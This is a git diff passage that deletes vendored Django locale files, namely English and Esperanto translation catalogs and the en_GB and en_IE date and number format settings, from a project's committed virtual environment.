a file or check the clear checkbox, not both." - -msgid "" -"Upload a valid image. The file you uploaded was either not an image or a " -"corrupted image." -msgstr "" -"Upload a valid image. The file you uploaded was either not an image or a " -"corrupted image." - -#, python-format -msgid "Select a valid choice. %(value)s is not one of the available choices." -msgstr "Select a valid choice. %(value)s is not one of the available choices." - -msgid "Enter a list of values." -msgstr "Enter a list of values." - -msgid "Enter a complete value." -msgstr "" - -msgid "Enter a valid UUID." -msgstr "" - -#. Translators: This is the default suffix added to form field labels -msgid ":" -msgstr "" - -#, python-format -msgid "(Hidden field %(name)s) %(error)s" -msgstr "" - -msgid "ManagementForm data is missing or has been tampered with" -msgstr "" - -#, python-format -msgid "Please submit %d or fewer forms." -msgid_plural "Please submit %d or fewer forms." -msgstr[0] "" -msgstr[1] "" - -#, python-format -msgid "Please submit %d or more forms." -msgid_plural "Please submit %d or more forms." -msgstr[0] "" -msgstr[1] "" - -msgid "Order" -msgstr "Order" - -msgid "Delete" -msgstr "Delete" - -#, python-format -msgid "Please correct the duplicate data for %(field)s." -msgstr "Please correct the duplicate data for %(field)s." - -#, python-format -msgid "Please correct the duplicate data for %(field)s, which must be unique." -msgstr "Please correct the duplicate data for %(field)s, which must be unique." - -#, python-format -msgid "" -"Please correct the duplicate data for %(field_name)s which must be unique " -"for the %(lookup)s in %(date_field)s." -msgstr "" -"Please correct the duplicate data for %(field_name)s which must be unique " -"for the %(lookup)s in %(date_field)s." - -msgid "Please correct the duplicate values below." -msgstr "Please correct the duplicate values below." - -msgid "The inline value did not match the parent instance." -msgstr "" - -msgid "Select a valid choice. That choice is not one of the available choices." -msgstr "" -"Select a valid choice. That choice is not one of the available choices." - -#, python-format -msgid "“%(pk)s” is not a valid value." -msgstr "" - -#, python-format -msgid "" -"%(datetime)s couldn’t be interpreted in time zone %(current_timezone)s; it " -"may be ambiguous or it may not exist." -msgstr "" - -msgid "Clear" -msgstr "Clear" - -msgid "Currently" -msgstr "Currently" - -msgid "Change" -msgstr "Change" - -msgid "Unknown" -msgstr "Unknown" - -msgid "Yes" -msgstr "Yes" - -msgid "No" -msgstr "No" - -msgid "Year" -msgstr "" - -msgid "Month" -msgstr "" - -msgid "Day" -msgstr "" - -msgid "yes,no,maybe" -msgstr "yes,no,maybe" - -#, python-format -msgid "%(size)d byte" -msgid_plural "%(size)d bytes" -msgstr[0] "%(size)d byte" -msgstr[1] "%(size)d bytes" - -#, python-format -msgid "%s KB" -msgstr "%s KB" - -#, python-format -msgid "%s MB" -msgstr "%s MB" - -#, python-format -msgid "%s GB" -msgstr "%s GB" - -#, python-format -msgid "%s TB" -msgstr "%s TB" - -#, python-format -msgid "%s PB" -msgstr "%s PB" - -msgid "p.m." -msgstr "p.m." - -msgid "a.m." -msgstr "a.m." - -msgid "PM" -msgstr "PM" - -msgid "AM" -msgstr "AM" - -msgid "midnight" -msgstr "midnight" - -msgid "noon" -msgstr "noon" - -msgid "Monday" -msgstr "Monday" - -msgid "Tuesday" -msgstr "Tuesday" - -msgid "Wednesday" -msgstr "Wednesday" - -msgid "Thursday" -msgstr "Thursday" - -msgid "Friday" -msgstr "Friday" - -msgid "Saturday" -msgstr "Saturday" - -msgid "Sunday" -msgstr "Sunday" - -msgid "Mon" -msgstr "Mon" - -msgid "Tue" -msgstr "Tue" - -msgid "Wed" -msgstr "Wed" - -msgid "Thu" -msgstr "Thu" - -msgid "Fri" -msgstr "Fri" - -msgid "Sat" -msgstr "Sat" - -msgid "Sun" -msgstr "Sun" - -msgid "January" -msgstr "January" - -msgid "February" -msgstr "February" - -msgid "March" -msgstr "March" - -msgid "April" -msgstr "April" - -msgid "May" -msgstr "May" - -msgid "June" -msgstr "June" - -msgid "July" -msgstr "July" - -msgid "August" -msgstr "August" - -msgid "September" -msgstr "September" - -msgid "October" -msgstr "October" - -msgid "November" -msgstr "November" - -msgid "December" -msgstr "December" - -msgid "jan" -msgstr "jan" - -msgid "feb" -msgstr "feb" - -msgid "mar" -msgstr "mar" - -msgid "apr" -msgstr "apr" - -msgid "may" -msgstr "may" - -msgid "jun" -msgstr "jun" - -msgid "jul" -msgstr "jul" - -msgid "aug" -msgstr "aug" - -msgid "sep" -msgstr "sep" - -msgid "oct" -msgstr "oct" - -msgid "nov" -msgstr "nov" - -msgid "dec" -msgstr "dec" - -msgctxt "abbrev. month" -msgid "Jan." -msgstr "Jan." - -msgctxt "abbrev. month" -msgid "Feb." -msgstr "Feb." - -msgctxt "abbrev. month" -msgid "March" -msgstr "March" - -msgctxt "abbrev. month" -msgid "April" -msgstr "April" - -msgctxt "abbrev. month" -msgid "May" -msgstr "May" - -msgctxt "abbrev. month" -msgid "June" -msgstr "June" - -msgctxt "abbrev. month" -msgid "July" -msgstr "July" - -msgctxt "abbrev. month" -msgid "Aug." -msgstr "Aug." - -msgctxt "abbrev. month" -msgid "Sept." -msgstr "Sept." - -msgctxt "abbrev. month" -msgid "Oct." -msgstr "Oct." - -msgctxt "abbrev. month" -msgid "Nov." -msgstr "Nov." - -msgctxt "abbrev. month" -msgid "Dec." -msgstr "Dec." - -msgctxt "alt. month" -msgid "January" -msgstr "January" - -msgctxt "alt. month" -msgid "February" -msgstr "February" - -msgctxt "alt. month" -msgid "March" -msgstr "March" - -msgctxt "alt. month" -msgid "April" -msgstr "April" - -msgctxt "alt. month" -msgid "May" -msgstr "May" - -msgctxt "alt. month" -msgid "June" -msgstr "June" - -msgctxt "alt. month" -msgid "July" -msgstr "July" - -msgctxt "alt. month" -msgid "August" -msgstr "August" - -msgctxt "alt. month" -msgid "September" -msgstr "September" - -msgctxt "alt. month" -msgid "October" -msgstr "October" - -msgctxt "alt. month" -msgid "November" -msgstr "November" - -msgctxt "alt. month" -msgid "December" -msgstr "December" - -msgid "This is not a valid IPv6 address." -msgstr "" - -#, python-format -msgctxt "String to return when truncating text" -msgid "%(truncated_text)s…" -msgstr "" - -msgid "or" -msgstr "or" - -#. Translators: This string is used as a separator between list elements -msgid ", " -msgstr ", " - -#, python-format -msgid "%d year" -msgid_plural "%d years" -msgstr[0] "" -msgstr[1] "" - -#, python-format -msgid "%d month" -msgid_plural "%d months" -msgstr[0] "" -msgstr[1] "" - -#, python-format -msgid "%d week" -msgid_plural "%d weeks" -msgstr[0] "" -msgstr[1] "" - -#, python-format -msgid "%d day" -msgid_plural "%d days" -msgstr[0] "" -msgstr[1] "" - -#, python-format -msgid "%d hour" -msgid_plural "%d hours" -msgstr[0] "" -msgstr[1] "" - -#, python-format -msgid "%d minute" -msgid_plural "%d minutes" -msgstr[0] "" -msgstr[1] "" - -msgid "0 minutes" -msgstr "" - -msgid "Forbidden" -msgstr "" - -msgid "CSRF verification failed. Request aborted." -msgstr "" - -msgid "" -"You are seeing this message because this HTTPS site requires a “Referer " -"header” to be sent by your Web browser, but none was sent. This header is " -"required for security reasons, to ensure that your browser is not being " -"hijacked by third parties." -msgstr "" - -msgid "" -"If you have configured your browser to disable “Referer” headers, please re-" -"enable them, at least for this site, or for HTTPS connections, or for “same-" -"origin” requests." -msgstr "" - -msgid "" -"If you are using the tag or " -"including the “Referrer-Policy: no-referrer” header, please remove them. The " -"CSRF protection requires the “Referer” header to do strict referer checking. " -"If you’re concerned about privacy, use alternatives like for links to third-party sites." -msgstr "" - -msgid "" -"You are seeing this message because this site requires a CSRF cookie when " -"submitting forms. This cookie is required for security reasons, to ensure " -"that your browser is not being hijacked by third parties." -msgstr "" - -msgid "" -"If you have configured your browser to disable cookies, please re-enable " -"them, at least for this site, or for “same-origin” requests." -msgstr "" - -msgid "More information is available with DEBUG=True." -msgstr "" - -msgid "No year specified" -msgstr "No year specified" - -msgid "Date out of range" -msgstr "" - -msgid "No month specified" -msgstr "No month specified" - -msgid "No day specified" -msgstr "No day specified" - -msgid "No week specified" -msgstr "No week specified" - -#, python-format -msgid "No %(verbose_name_plural)s available" -msgstr "No %(verbose_name_plural)s available" - -#, python-format -msgid "" -"Future %(verbose_name_plural)s not available because %(class_name)s." -"allow_future is False." -msgstr "" -"Future %(verbose_name_plural)s not available because %(class_name)s." -"allow_future is False." - -#, python-format -msgid "Invalid date string “%(datestr)s” given format “%(format)s”" -msgstr "" - -#, python-format -msgid "No %(verbose_name)s found matching the query" -msgstr "No %(verbose_name)s found matching the query" - -msgid "Page is not “last”, nor can it be converted to an int." -msgstr "" - -#, python-format -msgid "Invalid page (%(page_number)s): %(message)s" -msgstr "" - -#, python-format -msgid "Empty list and “%(class_name)s.allow_empty” is False." -msgstr "" - -msgid "Directory indexes are not allowed here." -msgstr "Directory indexes are not allowed here." - -#, python-format -msgid "“%(path)s” does not exist" -msgstr "" - -#, python-format -msgid "Index of %(directory)s" -msgstr "Index of %(directory)s" - -msgid "Django: the Web framework for perfectionists with deadlines." -msgstr "" - -#, python-format -msgid "" -"View release notes for Django %(version)s" -msgstr "" - -msgid "The install worked successfully! Congratulations!" -msgstr "" - -#, python-format -msgid "" -"You are seeing this page because DEBUG=True is in your settings file and you have not configured any " -"URLs." -msgstr "" - -msgid "Django Documentation" -msgstr "" - -msgid "Topics, references, & how-to’s" -msgstr "" - -msgid "Tutorial: A Polling App" -msgstr "" - -msgid "Get started with Django" -msgstr "" - -msgid "Django Community" -msgstr "" - -msgid "Connect, get help, or contribute" -msgstr "" diff --git a/backend/venv/Lib/site-packages/django/conf/locale/en_GB/__init__.py b/backend/venv/Lib/site-packages/django/conf/locale/en_GB/__init__.py deleted file mode 100644 index e69de29b..00000000 diff --git a/backend/venv/Lib/site-packages/django/conf/locale/en_GB/__pycache__/__init__.cpython-311.pyc b/backend/venv/Lib/site-packages/django/conf/locale/en_GB/__pycache__/__init__.cpython-311.pyc deleted file mode 100644 index 99e9c943..00000000 Binary files a/backend/venv/Lib/site-packages/django/conf/locale/en_GB/__pycache__/__init__.cpython-311.pyc and /dev/null differ diff --git a/backend/venv/Lib/site-packages/django/conf/locale/en_GB/__pycache__/formats.cpython-311.pyc b/backend/venv/Lib/site-packages/django/conf/locale/en_GB/__pycache__/formats.cpython-311.pyc deleted file mode 100644 index 640cda11..00000000 Binary files a/backend/venv/Lib/site-packages/django/conf/locale/en_GB/__pycache__/formats.cpython-311.pyc and /dev/null differ diff --git a/backend/venv/Lib/site-packages/django/conf/locale/en_GB/formats.py b/backend/venv/Lib/site-packages/django/conf/locale/en_GB/formats.py deleted file mode 100644 index bc90da59..00000000 --- a/backend/venv/Lib/site-packages/django/conf/locale/en_GB/formats.py +++ /dev/null @@ -1,41 +0,0 @@ -# This file is distributed under the same license as the Django package. -# -# The *_FORMAT strings use the Django date format syntax, -# see https://docs.djangoproject.com/en/dev/ref/templates/builtins/#date -DATE_FORMAT = "j M Y" # '25 Oct 2006' -TIME_FORMAT = "P" # '2:30 p.m.' -DATETIME_FORMAT = "j M Y, P" # '25 Oct 2006, 2:30 p.m.' -YEAR_MONTH_FORMAT = "F Y" # 'October 2006' -MONTH_DAY_FORMAT = "j F" # '25 October' -SHORT_DATE_FORMAT = "d/m/Y" # '25/10/2006' -SHORT_DATETIME_FORMAT = "d/m/Y P" # '25/10/2006 2:30 p.m.' -FIRST_DAY_OF_WEEK = 1 # Monday - -# The *_INPUT_FORMATS strings use the Python strftime format syntax, -# see https://docs.python.org/library/datetime.html#strftime-strptime-behavior -DATE_INPUT_FORMATS = [ - "%d/%m/%Y", # '25/10/2006' - "%d/%m/%y", # '25/10/06' - # "%b %d %Y", # 'Oct 25 2006' - # "%b %d, %Y", # 'Oct 25, 2006' - # "%d %b %Y", # '25 Oct 2006' - # "%d %b, %Y", # '25 Oct, 2006' - # "%B %d %Y", # 'October 25 2006' - # "%B %d, %Y", # 'October 25, 2006' - # "%d %B %Y", # '25 October 2006' - # "%d %B, %Y", # '25 October, 2006' -] -DATETIME_INPUT_FORMATS = [ - "%Y-%m-%d %H:%M:%S", # '2006-10-25 14:30:59' - "%Y-%m-%d %H:%M:%S.%f", # '2006-10-25 14:30:59.000200' - "%Y-%m-%d %H:%M", # '2006-10-25 14:30' - "%d/%m/%Y %H:%M:%S", # '25/10/2006 14:30:59' - "%d/%m/%Y %H:%M:%S.%f", # '25/10/2006 14:30:59.000200' - "%d/%m/%Y %H:%M", # '25/10/2006 14:30' - "%d/%m/%y %H:%M:%S", # '25/10/06 14:30:59' - "%d/%m/%y %H:%M:%S.%f", # '25/10/06 14:30:59.000200' - "%d/%m/%y %H:%M", # '25/10/06 14:30' -] -DECIMAL_SEPARATOR = "." -THOUSAND_SEPARATOR = "," -NUMBER_GROUPING = 3 diff --git a/backend/venv/Lib/site-packages/django/conf/locale/en_IE/__init__.py b/backend/venv/Lib/site-packages/django/conf/locale/en_IE/__init__.py deleted file mode 100644 index e69de29b..00000000 diff --git a/backend/venv/Lib/site-packages/django/conf/locale/en_IE/__pycache__/__init__.cpython-311.pyc b/backend/venv/Lib/site-packages/django/conf/locale/en_IE/__pycache__/__init__.cpython-311.pyc deleted file mode 100644 index 4007ed81..00000000 Binary files a/backend/venv/Lib/site-packages/django/conf/locale/en_IE/__pycache__/__init__.cpython-311.pyc and /dev/null differ diff --git a/backend/venv/Lib/site-packages/django/conf/locale/en_IE/__pycache__/formats.cpython-311.pyc b/backend/venv/Lib/site-packages/django/conf/locale/en_IE/__pycache__/formats.cpython-311.pyc deleted file mode 100644 index 6f1f2163..00000000 Binary files a/backend/venv/Lib/site-packages/django/conf/locale/en_IE/__pycache__/formats.cpython-311.pyc and /dev/null differ diff --git a/backend/venv/Lib/site-packages/django/conf/locale/en_IE/formats.py b/backend/venv/Lib/site-packages/django/conf/locale/en_IE/formats.py deleted file mode 100644 index 81b8324b..00000000 --- a/backend/venv/Lib/site-packages/django/conf/locale/en_IE/formats.py +++ /dev/null @@ -1,37 +0,0 @@ -# This file is distributed under the same license as the Django package. -# -# The *_FORMAT strings use the Django date format syntax, -# see https://docs.djangoproject.com/en/dev/ref/templates/builtins/#date -DATE_FORMAT = "j M Y" # '25 Oct 2006' -TIME_FORMAT = "H:i" # '14:30' -DATETIME_FORMAT = "j M Y, H:i" # '25 Oct 2006, 14:30' -YEAR_MONTH_FORMAT = "F Y" # 'October 2006' -MONTH_DAY_FORMAT = "j F" # '25 October' -SHORT_DATE_FORMAT = "d/m/Y" # '25/10/2006' -SHORT_DATETIME_FORMAT = "d/m/Y H:i" # '25/10/2006 14:30' -FIRST_DAY_OF_WEEK = 1 # Monday - -# The *_INPUT_FORMATS strings use the Python strftime format syntax, -# see https://docs.python.org/library/datetime.html#strftime-strptime-behavior -DATE_INPUT_FORMATS = [ - "%d/%m/%Y", # '25/10/2006' - "%d/%m/%y", # '25/10/06' - "%d %b %Y", # '25 Oct 2006' - "%d %b, %Y", # '25 Oct, 2006' - "%d %B %Y", # '25 October 2006' - "%d %B, %Y", # '25 October, 2006' -] -DATETIME_INPUT_FORMATS = [ - "%Y-%m-%d %H:%M:%S", # '2006-10-25 14:30:59' - "%Y-%m-%d %H:%M:%S.%f", # '2006-10-25 14:30:59.000200' - "%Y-%m-%d %H:%M", # '2006-10-25 14:30' - "%d/%m/%Y %H:%M:%S", # '25/10/2006 14:30:59' - "%d/%m/%Y %H:%M:%S.%f", # '25/10/2006 14:30:59.000200' - "%d/%m/%Y %H:%M", # '25/10/2006 14:30' - "%d/%m/%y %H:%M:%S", # '25/10/06 14:30:59' - "%d/%m/%y %H:%M:%S.%f", # '25/10/06 14:30:59.000200' - "%d/%m/%y %H:%M", # '25/10/06 14:30' -] -DECIMAL_SEPARATOR = "." -THOUSAND_SEPARATOR = "," -NUMBER_GROUPING = 3 diff --git a/backend/venv/Lib/site-packages/django/conf/locale/eo/LC_MESSAGES/django.mo b/backend/venv/Lib/site-packages/django/conf/locale/eo/LC_MESSAGES/django.mo deleted file mode 100644 index 05260e5b..00000000 Binary files a/backend/venv/Lib/site-packages/django/conf/locale/eo/LC_MESSAGES/django.mo and /dev/null differ diff --git a/backend/venv/Lib/site-packages/django/conf/locale/eo/LC_MESSAGES/django.po b/backend/venv/Lib/site-packages/django/conf/locale/eo/LC_MESSAGES/django.po deleted file mode 100644 index 66a2f381..00000000 --- a/backend/venv/Lib/site-packages/django/conf/locale/eo/LC_MESSAGES/django.po +++ /dev/null @@ -1,1331 +0,0 @@ -# This file is distributed under the same license as the Django package. -# -# Translators: -# Batist D 🐍 , 2012-2013 -# Batist D 🐍 , 2013-2019 -# batisteo , 2011 -# Dinu Gherman , 2011 -# kristjan , 2011 -# Matthieu Desplantes , 2021 -# Meiyer , 2022 -# Nikolay Korotkiy , 2017-2018 -# Robin van der Vliet , 2019 -# Adamo Mesha , 2012 -msgid "" -msgstr "" -"Project-Id-Version: django\n" -"Report-Msgid-Bugs-To: \n" -"POT-Creation-Date: 2022-05-17 05:23-0500\n" -"PO-Revision-Date: 2022-05-25 06:49+0000\n" -"Last-Translator: Meiyer , 2022\n" -"Language-Team: Esperanto (http://www.transifex.com/django/django/language/" -"eo/)\n" -"MIME-Version: 1.0\n" -"Content-Type: text/plain; charset=UTF-8\n" -"Content-Transfer-Encoding: 8bit\n" -"Language: eo\n" -"Plural-Forms: nplurals=2; plural=(n != 1);\n" - -msgid "Afrikaans" -msgstr "Afrikansa" - -msgid "Arabic" -msgstr "Araba" - -msgid "Algerian Arabic" -msgstr "Alĝeria araba" - -msgid "Asturian" -msgstr "Asturia" - -msgid "Azerbaijani" -msgstr "Azerbajĝana" - -msgid "Bulgarian" -msgstr "Bulgara" - -msgid "Belarusian" -msgstr "Belorusa" - -msgid "Bengali" -msgstr "Bengala" - -msgid "Breton" -msgstr "Bretona" - -msgid "Bosnian" -msgstr "Bosnia" - -msgid "Catalan" -msgstr "Kataluna" - -msgid "Czech" -msgstr "Ĉeĥa" - -msgid "Welsh" -msgstr "Kimra" - -msgid "Danish" -msgstr "Dana" - -msgid "German" -msgstr "Germana" - -msgid "Lower Sorbian" -msgstr "Malsuprasaroba" - -msgid "Greek" -msgstr "Greka" - -msgid "English" -msgstr "Angla" - -msgid "Australian English" -msgstr "Angla (Aŭstralia)" - -msgid "British English" -msgstr "Angla (Brita)" - -msgid "Esperanto" -msgstr "Esperanto" - -msgid "Spanish" -msgstr "Hispana" - -msgid "Argentinian Spanish" -msgstr "Hispana (Argentinio)" - -msgid "Colombian Spanish" -msgstr "Hispana (Kolombio)" - -msgid "Mexican Spanish" -msgstr "Hispana (Meksiko)" - -msgid "Nicaraguan Spanish" -msgstr "Hispana (Nikaragvo)" - -msgid "Venezuelan Spanish" -msgstr "Hispana (Venezuelo)" - -msgid "Estonian" -msgstr "Estona" - -msgid "Basque" -msgstr "Eŭska" - -msgid "Persian" -msgstr "Persa" - -msgid "Finnish" -msgstr "Finna" - -msgid "French" -msgstr "Franca" - -msgid "Frisian" -msgstr "Frisa" - -msgid "Irish" -msgstr "Irlanda" - -msgid "Scottish Gaelic" -msgstr "Skota gaela" - -msgid "Galician" -msgstr "Galega" - -msgid "Hebrew" -msgstr "Hebrea" - -msgid "Hindi" -msgstr "Hinda" - -msgid "Croatian" -msgstr "Kroata" - -msgid "Upper Sorbian" -msgstr "Suprasoraba" - -msgid "Hungarian" -msgstr "Hungara" - -msgid "Armenian" -msgstr "Armena" - -msgid "Interlingua" -msgstr "Interlingvaa" - -msgid "Indonesian" -msgstr "Indoneza" - -msgid "Igbo" -msgstr "Igba" - -msgid "Ido" -msgstr "Ido" - -msgid "Icelandic" -msgstr "Islanda" - -msgid "Italian" -msgstr "Itala" - -msgid "Japanese" -msgstr "Japana" - -msgid "Georgian" -msgstr "Kartvela" - -msgid "Kabyle" -msgstr "Kabila" - -msgid "Kazakh" -msgstr "Kazaĥa" - -msgid "Khmer" -msgstr "Kmera" - -msgid "Kannada" -msgstr "Kanara" - -msgid "Korean" -msgstr "Korea" - -msgid "Kyrgyz" -msgstr "Kirgiza" - -msgid "Luxembourgish" -msgstr "Luksemburga" - -msgid "Lithuanian" -msgstr "Litova" - -msgid "Latvian" -msgstr "Latva" - -msgid "Macedonian" -msgstr "Makedona" - -msgid "Malayalam" -msgstr "Malajala" - -msgid "Mongolian" -msgstr "Mongola" - -msgid "Marathi" -msgstr "Marata" - -msgid "Malay" -msgstr "Malaja" - -msgid "Burmese" -msgstr "Birma" - -msgid "Norwegian Bokmål" -msgstr "Norvega (bokmål)" - -msgid "Nepali" -msgstr "Nepala" - -msgid "Dutch" -msgstr "Nederlanda" - -msgid "Norwegian Nynorsk" -msgstr "Norvega (nynorsk)" - -msgid "Ossetic" -msgstr "Oseta" - -msgid "Punjabi" -msgstr "Panĝaba" - -msgid "Polish" -msgstr "Pola" - -msgid "Portuguese" -msgstr "Portugala" - -msgid "Brazilian Portuguese" -msgstr "Portugala (Brazilo)" - -msgid "Romanian" -msgstr "Rumana" - -msgid "Russian" -msgstr "Rusa" - -msgid "Slovak" -msgstr "Slovaka" - -msgid "Slovenian" -msgstr "Slovena" - -msgid "Albanian" -msgstr "Albana" - -msgid "Serbian" -msgstr "Serba" - -msgid "Serbian Latin" -msgstr "Serba (latina)" - -msgid "Swedish" -msgstr "Sveda" - -msgid "Swahili" -msgstr "Svahila" - -msgid "Tamil" -msgstr "Tamila" - -msgid "Telugu" -msgstr "Telugua" - -msgid "Tajik" -msgstr "Taĝika" - -msgid "Thai" -msgstr "Taja" - -msgid "Turkmen" -msgstr "Turkmena" - -msgid "Turkish" -msgstr "Turka" - -msgid "Tatar" -msgstr "Tatara" - -msgid "Udmurt" -msgstr "Udmurta" - -msgid "Ukrainian" -msgstr "Ukraina" - -msgid "Urdu" -msgstr "Urdua" - -msgid "Uzbek" -msgstr "Uzbeka" - -msgid "Vietnamese" -msgstr "Vjetnama" - -msgid "Simplified Chinese" -msgstr "Ĉina (simpligite)" - -msgid "Traditional Chinese" -msgstr "Ĉina (tradicie)" - -msgid "Messages" -msgstr "Mesaĝoj" - -msgid "Site Maps" -msgstr "Retejaj mapoj" - -msgid "Static Files" -msgstr "Statikaj dosieroj" - -msgid "Syndication" -msgstr "Abonrilato" - -#. Translators: String used to replace omitted page numbers in elided page -#. range generated by paginators, e.g. [1, 2, '…', 5, 6, 7, '…', 9, 10]. -msgid "…" -msgstr "…" - -msgid "That page number is not an integer" -msgstr "Tia paĝnumero ne estas entjero" - -msgid "That page number is less than 1" -msgstr "La paĝnumero estas malpli ol 1" - -msgid "That page contains no results" -msgstr "Tiu paĝo ne enhavas rezultojn" - -msgid "Enter a valid value." -msgstr "Enigu ĝustan valoron." - -msgid "Enter a valid URL." -msgstr "Enigu ĝustan retadreson." - -msgid "Enter a valid integer." -msgstr "Enigu ĝustaforman entjeron." - -msgid "Enter a valid email address." -msgstr "Enigu ĝustaforman retpoŝtan adreson." - -#. Translators: "letters" means latin letters: a-z and A-Z. -msgid "" -"Enter a valid “slug” consisting of letters, numbers, underscores or hyphens." -msgstr "" -"Enigu ĝustan “ĵetonvorton” konsistantan el latinaj literoj, ciferoj, " -"substrekoj, aŭ dividstrekoj." - -msgid "" -"Enter a valid “slug” consisting of Unicode letters, numbers, underscores, or " -"hyphens." -msgstr "" -"Enigu ĝustan “ĵetonvorton” konsistantan el Unikodaj literoj, ciferoj, " -"substrekoj, aŭ dividstrekoj." - -msgid "Enter a valid IPv4 address." -msgstr "Enigu ĝustaforman IPv4-adreson." - -msgid "Enter a valid IPv6 address." -msgstr "Enigu ĝustaforman IPv6-adreson." - -msgid "Enter a valid IPv4 or IPv6 address." -msgstr "Enigu ĝustaforman IPv4- aŭ IPv6-adreson." - -msgid "Enter only digits separated by commas." -msgstr "Enigu nur ciferojn apartigitajn per komoj." - -#, python-format -msgid "Ensure this value is %(limit_value)s (it is %(show_value)s)." -msgstr "" -"Certigu ke ĉi tiu valoro estas %(limit_value)s (ĝi estas %(show_value)s). " - -#, python-format -msgid "Ensure this value is less than or equal to %(limit_value)s." -msgstr "Certigu ke ĉi tiu valoro estas malpli ol aŭ egala al %(limit_value)s." - -#, python-format -msgid "Ensure this value is greater than or equal to %(limit_value)s." -msgstr "Certigu ke ĉi tiu valoro estas pli ol aŭ egala al %(limit_value)s." - -#, python-format -msgid "Ensure this value is a multiple of step size %(limit_value)s." -msgstr "Certigu ke ĉi tiu valoro estas oblo de paŝo-grando %(limit_value)s." - -#, python-format -msgid "" -"Ensure this value has at least %(limit_value)d character (it has " -"%(show_value)d)." -msgid_plural "" -"Ensure this value has at least %(limit_value)d characters (it has " -"%(show_value)d)." -msgstr[0] "" -"Certigu, ke tiu valoro havas %(limit_value)d signon (ĝi havas " -"%(show_value)d)." -msgstr[1] "" -"Certigu ke ĉi tiu valoro enhavas almenaŭ %(limit_value)d signojn (ĝi havas " -"%(show_value)d)." - -#, python-format -msgid "" -"Ensure this value has at most %(limit_value)d character (it has " -"%(show_value)d)." -msgid_plural "" -"Ensure this value has at most %(limit_value)d characters (it has " -"%(show_value)d)." -msgstr[0] "" -"Certigu, ke tio valuto maksimume havas %(limit_value)d karakterojn (ĝi havas " -"%(show_value)d)." -msgstr[1] "" -"Certigu ke ĉi tiu valoro maksimume enhavas %(limit_value)d signojn (ĝi havas " -"%(show_value)d)." - -msgid "Enter a number." -msgstr "Enigu nombron." - -#, python-format -msgid "Ensure that there are no more than %(max)s digit in total." -msgid_plural "Ensure that there are no more than %(max)s digits in total." -msgstr[0] "Certigu ke ne estas pli ol %(max)s cifero entute." -msgstr[1] "Certigu ke ne estas pli ol %(max)s ciferoj entute." - -#, python-format -msgid "Ensure that there are no more than %(max)s decimal place." -msgid_plural "Ensure that there are no more than %(max)s decimal places." -msgstr[0] "Certigu, ke ne estas pli ol %(max)s dekumaj lokoj." -msgstr[1] "Certigu, ke ne estas pli ol %(max)s dekumaj lokoj." - -#, python-format -msgid "" -"Ensure that there are no more than %(max)s digit before the decimal point." -msgid_plural "" -"Ensure that there are no more than %(max)s digits before the decimal point." -msgstr[0] "Certigu ke ne estas pli ol %(max)s ciferoj antaŭ la dekuma punkto." -msgstr[1] "Certigu ke ne estas pli ol %(max)s ciferoj antaŭ la dekuma punkto." - -#, python-format -msgid "" -"File extension “%(extension)s” is not allowed. Allowed extensions are: " -"%(allowed_extensions)s." -msgstr "" -"Sufikso “%(extension)s” de dosiernomo ne estas permesita. Eblaj sufiksoj " -"estas: %(allowed_extensions)s." - -msgid "Null characters are not allowed." -msgstr "Nulsignoj ne estas permesitaj." - -msgid "and" -msgstr "kaj" - -#, python-format -msgid "%(model_name)s with this %(field_labels)s already exists." -msgstr "%(model_name)s kun tiuj %(field_labels)s jam ekzistas." - -#, python-format -msgid "Constraint “%(name)s” is violated." -msgstr "Limigo “%(name)s” estas malobservita." - -#, python-format -msgid "Value %(value)r is not a valid choice." -msgstr "Valoro %(value)r ne estas ebla elekto." - -msgid "This field cannot be null." -msgstr "Tiu ĉi kampo ne povas esti senvalora (null)." - -msgid "This field cannot be blank." -msgstr "Tiu ĉi kampo ne povas esti malplena." - -#, python-format -msgid "%(model_name)s with this %(field_label)s already exists." -msgstr "%(model_name)s kun tiu %(field_label)s jam ekzistas." - -#. Translators: The 'lookup_type' is one of 'date', 'year' or -#. 'month'. Eg: "Title must be unique for pub_date year" -#, python-format -msgid "" -"%(field_label)s must be unique for %(date_field_label)s %(lookup_type)s." -msgstr "" -"%(field_label)s devas esti unika por %(date_field_label)s %(lookup_type)s." - -#, python-format -msgid "Field of type: %(field_type)s" -msgstr "Kampo de tipo: %(field_type)s" - -#, python-format -msgid "“%(value)s” value must be either True or False." -msgstr "La valoro “%(value)s” devas esti aŭ Vera (True) aŭ Malvera (False)." - -#, python-format -msgid "“%(value)s” value must be either True, False, or None." -msgstr "" -"La valoro “%(value)s” devas esti Vera (True), Malvera (False), aŭ Nenia " -"(None)." - -msgid "Boolean (Either True or False)" -msgstr "Bulea (Vera aŭ Malvera)" - -#, python-format -msgid "String (up to %(max_length)s)" -msgstr "Ĉeno (ĝis %(max_length)s)" - -msgid "Comma-separated integers" -msgstr "Perkome disigitaj entjeroj" - -#, python-format -msgid "" -"“%(value)s” value has an invalid date format. It must be in YYYY-MM-DD " -"format." -msgstr "" -"La valoro “%(value)s” havas malĝustan datformaton. Ĝi devas esti en la " -"formato JJJJ-MM-TT." - -#, python-format -msgid "" -"“%(value)s” value has the correct format (YYYY-MM-DD) but it is an invalid " -"date." -msgstr "" -"La valoro “%(value)s” havas la ĝustan formaton (JJJJ-MM-TT), sed ĝi estas " -"neekzistanta dato." - -msgid "Date (without time)" -msgstr "Dato (sen horo)" - -#, python-format -msgid "" -"“%(value)s” value has an invalid format. It must be in YYYY-MM-DD HH:MM[:ss[." -"uuuuuu]][TZ] format." -msgstr "" -"La valoro “%(value)s” havas malĝustan formaton. Ĝi devas esti en la formato " -"JJJJ-MM-TT HH:MM[:ss[.µµµµµµ]][TZ]." - -#, python-format -msgid "" -"“%(value)s” value has the correct format (YYYY-MM-DD HH:MM[:ss[.uuuuuu]]" -"[TZ]) but it is an invalid date/time." -msgstr "" -"La valoro “%(value)s” havas la ĝustan formaton (JJJJ-MM-TT HH:MM[:ss[." -"µµµµµµ]][TZ]), sed ĝi estas neekzistanta dato/tempo." - -msgid "Date (with time)" -msgstr "Dato (kun horo)" - -#, python-format -msgid "“%(value)s” value must be a decimal number." -msgstr "La valoro “%(value)s” devas esti dekuma frakcio." - -msgid "Decimal number" -msgstr "Dekuma nombro" - -#, python-format -msgid "" -"“%(value)s” value has an invalid format. It must be in [DD] [[HH:]MM:]ss[." -"uuuuuu] format." -msgstr "" -"La valoro “%(value)s” havas malĝustan formaton. Ĝi devas esti en la formato " -"[TT] [[HH:]MM:]ss[.µµµµµµ]." - -msgid "Duration" -msgstr "Daŭro" - -msgid "Email address" -msgstr "Retpoŝtadreso" - -msgid "File path" -msgstr "Dosierindiko" - -#, python-format -msgid "“%(value)s” value must be a float." -msgstr "La valoro “%(value)s” 